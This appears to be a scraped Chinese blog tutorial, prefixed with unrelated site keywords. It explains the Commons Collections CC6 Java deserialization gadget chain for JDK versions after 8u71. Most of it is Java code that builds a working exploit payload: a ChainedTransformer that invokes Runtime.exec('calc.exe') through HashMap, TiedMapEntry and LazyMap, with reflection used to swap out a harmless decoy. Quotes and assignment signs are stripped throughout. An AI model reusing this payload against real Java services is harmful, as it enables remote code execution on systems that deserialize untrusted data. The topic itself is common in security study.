app网站开发学习,wordpress 4.9.4 主题,烟台工程建设信息网站,南通建设局网站一、前因因为在jdk8u71之后的版本中#xff0c;sun.reflect.annotation.AnnotationInvocationHandler#readObject的逻辑发生了变化#xff0c;导致CC1中的两个链条都不能使用#xff0c;所有我们需要找一个在高版本中也可用的链条。/*
Gadget chain:
java.io.ObjectInputStr…一、前因因为在jdk8u71之后的版本中sun.reflect.annotation.AnnotationInvocationHandler#readObject的逻辑发生了变化导致CC1中的两个链条都不能使用所有我们需要找一个在高版本中也可用的链条。/*
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashMap.readObject()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
*/从上可以看出我们在LazyMap#get部分到Runtime.exec部分的都没有变化只是上面的调用部分发生了改变所以说解决java高版本利用问题实际上就是在找上下文中是否还有其他调用LazyMap#get()的地方。二、解决办法如上就是找到的类为org.apache.commons.collections.keyvalue.TiedMapEntry在其getValue方法中调用了this.map.get。而其hashCode方法调用了getValue方法所以欲触发LazyMap利⽤链要找到就是哪⾥调⽤了TiedMapEntry#hashCodeysoserial中是利⽤java.util.HashSet#readObject 到HashMap#put() 到HashMap#hash(key)最后到TiedMapEntry#hashCode() 。实际上在java.util.HashMap#readObject 中就可以找到HashMap#hash() 的调⽤去掉了最前⾯的两次调⽤在HashMap的readObject⽅法中调⽤到了hash(key) ⽽hash⽅法中调⽤到了key.hashCode() 。所以我们只需要让这个key等于TiedMapEntry对象即可连接上前⾯的分析过程构成⼀个完整的Gadget。三、代码构造1.前面的没有变化构造一个恶意的LazyMap为了避免本地调试时触发命令执行构造LazyMap的时候先⽤了⼀个⼈畜⽆害的fakeTransformers 对象等最后要⽣成Payload的时候再把真正的transformers 替换进去。Transformer[] fakeTransformers new Transformer[] {new ConstantTransformer(1)};
Transformer[] transformers new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer(getMethod, new Class[] { String.class, Class[].class }, new Object[] { getRuntime, new Class[0] }),new InvokerTransformer(invoke, new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),new InvokerTransformer(exec, new Class[] { String.class }, new String[] { calc.exe }),new ConstantTransformer(1),
};
Transformer transformerChain new ChainedTransformer(fakeTransformers);
Map innerMap new HashMap();
Map outerMap LazyMap.decorate(innerMap, transformerChain);2.拿到了⼀个恶意的LazyMap对象outerMap 将其作为TiedMapEntry的map属性TiedMapEntry tme new TiedMapEntry(outerMap, keykey);3.写入HashMap为了调⽤TiedMapEntry#hashCode() 我们需要将tme 对象作为HashMap 的⼀个key。注意这⾥我们需要新建⼀个HashMap⽽不是⽤之前LazyMap利⽤链⾥的那个HashMap两者没任何关系Map expMap new HashMap();
expMap.put(tme, valuevalue);
outerMap.remove(keykey);为什么上面第三行有一个outerMap.remove(keykey);主要是因为我在expMap.put(tme, valuevalue); 这个语句⾥⾯HashMap的put⽅法中也有调⽤到hash(key) ,这⾥就导致LazyMap 这个利⽤链在这⾥被调⽤了⼀遍因为前⾯⽤了fakeTransformers 所以此时并没有触发命令执⾏但实际上也对我们构造Payload产⽣了影响。所以只需要将这个移除即可。4.替换transformers数组这里利用了反射调用了修改属性的方式进行替换Field f ChainedTransformer.class.getDeclaredField(iTransformers);
f.setAccessible(true);
f.set(transformerChain, transformers);5.本地测试ByteArrayOutputStream barr new ByteArrayOutputStream();
ObjectOutputStream oos new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();ObjectInputStream objectInputStream new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
objectInputStream.readObject();